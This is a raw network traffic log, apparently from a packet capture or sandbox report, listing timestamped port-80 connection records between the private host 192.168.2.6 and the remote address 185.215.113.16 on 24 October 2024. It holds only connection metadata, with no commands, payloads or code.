Oct 24, 2024 04:58:11.911978006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.911978006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.912000895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.912022114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.912141085 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.912599087 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.912616968 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.912626028 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.912669897 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.912704945 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.916214943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.916235924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.916246891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.916256905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.916285992 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.916317940 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.950196028 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.950259924 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.950303078 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.950313091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.950333118 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.950382948 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.951245070 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.951262951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.951311111 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.951334953 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.951359987 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.951389074 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.951421022 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.951549053 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.951572895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.951586962 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.951596022 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.951627970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.951627970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.951848030 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.951860905 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.951900005 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.951900005 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.951977015 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.952028036 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.952040911 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.952053070 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.952065945 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.952078104 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.952111006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.952111006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.998188972 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.998210907 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.998229027 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.998241901 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.998254061 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.998266935 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.998364925 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.998364925 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.998635054 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.998652935 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.998707056 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.999191999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.999203920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.999214888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.999226093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.999244928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.999257088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.999257088 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.999269009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.999274969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.999285936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.999337912 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.999561071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.999604940 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.999617100 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.999620914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.999634981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.999677896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.028717995 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.028733969 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.028780937 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.028808117 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.028820038 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.028831959 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.028844118 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.028856039 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.028867006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.028867006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.028892994 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.029304981 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.029316902 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.029329062 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.029340982 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.029373884 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.029373884 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.029407024 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.029752016 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.029762983 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.029782057 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.029793978 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.029802084 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.029805899 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.029864073 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.029864073 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.029864073 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.035505056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.035517931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.035527945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.035569906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.067831039 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.067853928 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.067866087 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.067919970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.067958117 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.068546057 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.068643093 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.068654060 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.068696022 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.068716049 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.068720102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.068777084 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.068789005 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.068826914 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.068873882 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.069056988 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.069068909 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.069081068 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.069096088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.069108009 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.069118023 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.069149971 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.069149971 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.069765091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.069780111 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.069793940 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.069829941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.069859982 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.082046986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.082062960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.082122087 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.115575075 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.115598917 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.115614891 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.115632057 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.115670919 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.115704060 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.115719080 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.115736961 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.115753889 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.115786076 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.115818024 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.116102934 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.116118908 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.116152048 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.116182089 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.118588924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.118628979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.118644953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.118660927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.118679047 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.118694067 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.118712902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.118727922 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.118731976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.118755102 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.118776083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.118793964 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.118799925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.145725965 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.145778894 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.145777941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.145793915 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.145819902 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.145850897 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.145961046 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.145975113 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.145989895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.146008968 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.146044970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.146044970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.146219969 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.146234035 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.146249056 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.146274090 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.146274090 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.146305084 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.146308899 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.146326065 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.146359921 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.146359921 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.146950006 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.146964073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.146980047 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.146994114 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.147008896 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.147041082 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.174027920 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.184762955 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.184787035 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.184801102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.184845924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.184845924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.184953928 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.184967995 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.184982061 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.185045958 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.185146093 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.185719013 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.185730934 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.185770988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.185792923 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.185797930 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.185811996 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.185825109 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.185837984 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.185856104 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.185856104 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.185898066 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.185898066 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.186290026 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.186302900 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.186317921 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.186350107 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.186379910 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.186682940 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.186697006 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.186712027 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.186724901 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.186732054 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.186764002 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.186764002 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.186800003 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.187119007 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.187129974 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.187174082 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.187174082 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.232973099 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.232995033 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.233010054 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.233022928 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.233037949 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.233073950 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.233124018 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.233129025 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.233165026 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.233175039 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.233180046 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.233218908 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.233457088 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.263114929 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.263129950 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.263145924 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.263179064 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.263210058 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.263211966 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.263257980 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.263267994 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.263284922 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.263334990 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.263334990 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.263367891 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.263381004 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.263396025 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.263423920 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.263423920 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.263457060 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.264008999 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.264033079 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.264084101 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.264177084 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.264192104 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.264204979 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.264224052 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.264254093 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.264516115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.264529943 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.264544010 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.264568090 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.264599085 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.271003008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271023989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271039009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271069050 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.271086931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271101952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271125078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271136999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271137953 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.271152020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271164894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271168947 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.271198988 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.271477938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271501064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271514893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271519899 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.271536112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271550894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271564007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271573067 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.271584988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271598101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271600008 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.271614075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.271629095 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.271657944 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.272335052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.274104118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.274135113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.274173975 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.302140951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.302201986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.302213907 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.302217007 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.302231073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.302247047 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.302261114 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.302289963 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.302320004 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.302414894 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.302427053 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.302473068 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.302938938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.302979946 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.303009987 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.303066015 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.303071976 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.303086996 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.303101063 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.303113937 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.303116083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.303141117 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.303141117 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.303167105 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.303625107 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.303638935 CEST	80	49996	185.215.113.16	192.168.2.6
